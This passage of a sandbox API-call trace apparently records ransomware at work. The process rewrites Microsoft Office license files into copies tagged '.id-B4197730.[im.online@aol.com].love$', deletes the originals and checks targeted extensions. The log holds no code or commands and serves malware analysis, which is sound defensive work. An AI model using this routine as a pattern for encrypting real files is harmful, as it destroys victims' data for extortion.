lstrlenW (lpString=".bz2") returned 4 [0274.084] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.084] lstrlenW (lpString=".7z") returned 3 [0274.084] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0274.084] lstrlenW (lpString=".dbf") returned 4 [0274.084] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0274.084] lstrlenW (lpString=".1cd") returned 4 [0274.084] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0274.084] lstrlenW (lpString=".jpg") returned 4 [0274.084] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.085] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0274.085] lstrlenW (lpString="O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 36 [0274.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0274.086] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11631) returned 1 [0274.086] CloseHandle (hObject=0x3f4) returned 1 [0274.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 0x220 [0274.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0274.087] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.087] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.089] GetLastError () returned 0x0 [0274.089] ReadFile (in: hFile=0x3f4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d6f, lpOverlapped=0x0) returned 1 [0274.091] WriteFile (in: hFile=0x454, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0274.093] ReadFile (in: hFile=0x3f4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0274.093] WriteFile (in: hFile=0x454, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11c, lpOverlapped=0x0) returned 1 [0274.093] SetEndOfFile (hFile=0x454) returned 1 [0274.094] CloseHandle (hObject=0x454) returned 1 [0274.094] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.094] SetEndOfFile (hFile=0x3f4) returned 1 [0274.101] CloseHandle (hObject=0x3f4) returned 1 [0274.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 1 [0274.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0274.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0274.103] lstrlenW (lpString=".doc") returned 4 [0274.103] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.104] lstrlenW (lpString=".docx") returned 5 [0274.104] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.104] lstrlenW (lpString=".pdf") returned 4 [0274.104] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.104] lstrlenW (lpString=".xls") returned 4 [0274.104] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.104] lstrlenW (lpString=".xlsx") returned 5 [0274.104] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.104] lstrlenW (lpString=".ppt") returned 4 [0274.104] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0274.104] lstrlenW (lpString=".zip") returned 4 [0274.104] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.104] lstrlenW (lpString=".rar") returned 4 [0274.104] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.104] lstrlenW (lpString=".bz2") returned 4 [0274.104] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.104] lstrlenW (lpString=".7z") returned 3 [0274.104] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0274.104] lstrlenW (lpString=".dbf") returned 4 [0274.104] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0274.104] lstrlenW (lpString=".1cd") returned 4 [0274.104] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0274.104] lstrlenW (lpString=".jpg") returned 4 [0274.105] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0274.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0274.105] lstrlenW (lpString=".doc") returned 4 [0274.105] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.105] lstrlenW (lpString=".docx") returned 5 [0274.105] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.105] lstrlenW (lpString=".pdf") returned 4 [0274.105] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.105] lstrlenW (lpString=".xls") returned 4 [0274.105] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.105] lstrlenW (lpString=".xlsx") returned 5 [0274.105] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.105] lstrlenW (lpString=".ppt") returned 4 [0274.105] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0274.105] lstrlenW (lpString=".zip") returned 4 [0274.105] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.105] lstrlenW (lpString=".rar") returned 4 [0274.105] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.105] lstrlenW (lpString=".bz2") returned 4 [0274.105] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.105] lstrlenW (lpString=".7z") returned 3 [0274.105] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0274.105] lstrlenW (lpString=".dbf") returned 4 [0274.106] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0274.106] lstrlenW (lpString=".1cd") returned 4 [0274.106] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0274.106] lstrlenW (lpString=".jpg") returned 4 [0274.106] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.106] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0274.106] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 42 [0274.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0274.451] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11219) returned 1 [0274.451] CloseHandle (hObject=0x3f4) returned 1 [0274.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0274.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0275.041] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.041] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0275.043] GetLastError () returned 0x0 [0275.043] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2bd3, lpOverlapped=0x0) returned 1 [0275.045] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0275.046] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.046] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x128, lpOverlapped=0x0) returned 1 [0275.046] SetEndOfFile (hFile=0x574) returned 1 [0275.047] CloseHandle (hObject=0x574) returned 1 [0275.047] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.047] SetEndOfFile (hFile=0x454) returned 1 [0275.052] CloseHandle (hObject=0x454) returned 1 [0275.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0275.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0275.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0275.054] lstrlenW (lpString=".doc") returned 4 [0275.054] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.054] lstrlenW (lpString=".docx") returned 5 [0275.054] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.054] lstrlenW (lpString=".pdf") returned 4 [0275.054] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.054] lstrlenW (lpString=".xls") returned 4 [0275.054] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.054] lstrlenW (lpString=".xlsx") returned 5 [0275.054] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.054] lstrlenW (lpString=".ppt") returned 4 [0275.054] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0275.054] lstrlenW (lpString=".zip") returned 4 [0275.055] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.055] lstrlenW (lpString=".rar") returned 4 [0275.055] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.055] lstrlenW (lpString=".bz2") returned 4 [0275.055] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.055] lstrlenW (lpString=".7z") returned 3 [0275.055] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0275.055] lstrlenW (lpString=".dbf") returned 4 [0275.055] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0275.055] lstrlenW (lpString=".1cd") returned 4 [0275.055] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0275.055] lstrlenW (lpString=".jpg") returned 4 [0275.055] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0275.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0275.055] lstrlenW (lpString=".doc") returned 4 [0275.055] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.055] lstrlenW (lpString=".docx") returned 5 [0275.055] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.055] lstrlenW (lpString=".pdf") returned 4 [0275.056] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.056] lstrlenW (lpString=".xls") returned 4 [0275.056] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.056] lstrlenW (lpString=".xlsx") returned 5 [0275.056] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.056] lstrlenW (lpString=".ppt") returned 4 [0275.056] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0275.056] lstrlenW (lpString=".zip") returned 4 [0275.056] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.056] lstrlenW (lpString=".rar") returned 4 [0275.056] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.056] lstrlenW (lpString=".bz2") returned 4 [0275.056] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.056] lstrlenW (lpString=".7z") returned 3 [0275.056] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0275.056] lstrlenW (lpString=".dbf") returned 4 [0275.056] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0275.057] lstrlenW (lpString=".1cd") returned 4 [0275.057] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0275.057] lstrlenW (lpString=".jpg") returned 4 [0275.057] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.057] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.057] lstrlenW (lpString="O365HomePremR_Subscription3-pl.xrm-ms") returned 37 [0275.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0275.059] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11199) returned 1 [0275.059] CloseHandle (hObject=0x454) returned 1 [0275.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 0x220 [0275.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0275.061] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.061] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0275.063] GetLastError () returned 0x0 [0275.063] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0275.066] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0275.067] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.067] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11e, lpOverlapped=0x0) returned 1 [0275.068] SetEndOfFile (hFile=0x574) returned 1 [0275.068] CloseHandle (hObject=0x574) returned 1 [0275.068] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.068] SetEndOfFile (hFile=0x454) returned 1 [0275.073] CloseHandle (hObject=0x454) returned 1 [0275.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 1 [0275.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0275.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0275.075] lstrlenW (lpString=".doc") returned 4 [0275.075] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.075] lstrlenW (lpString=".docx") returned 5 [0275.075] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.075] lstrlenW (lpString=".pdf") returned 4 [0275.075] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.075] lstrlenW (lpString=".xls") returned 4 [0275.075] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.075] lstrlenW (lpString=".xlsx") returned 5 [0275.075] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.075] lstrlenW (lpString=".ppt") returned 4 [0275.075] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0275.075] lstrlenW (lpString=".zip") returned 4 [0275.075] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.075] lstrlenW (lpString=".rar") returned 4 [0275.075] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.075] lstrlenW (lpString=".bz2") returned 4 [0275.075] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.075] lstrlenW (lpString=".7z") returned 3 [0275.075] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0275.075] lstrlenW (lpString=".dbf") returned 4 [0275.075] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0275.075] lstrlenW (lpString=".1cd") returned 4 [0275.075] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0275.075] lstrlenW (lpString=".jpg") returned 4 [0275.075] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0275.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0275.076] lstrlenW (lpString=".doc") returned 4 [0275.076] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.076] lstrlenW (lpString=".docx") returned 5 [0275.076] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.076] lstrlenW (lpString=".pdf") returned 4 [0275.076] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") 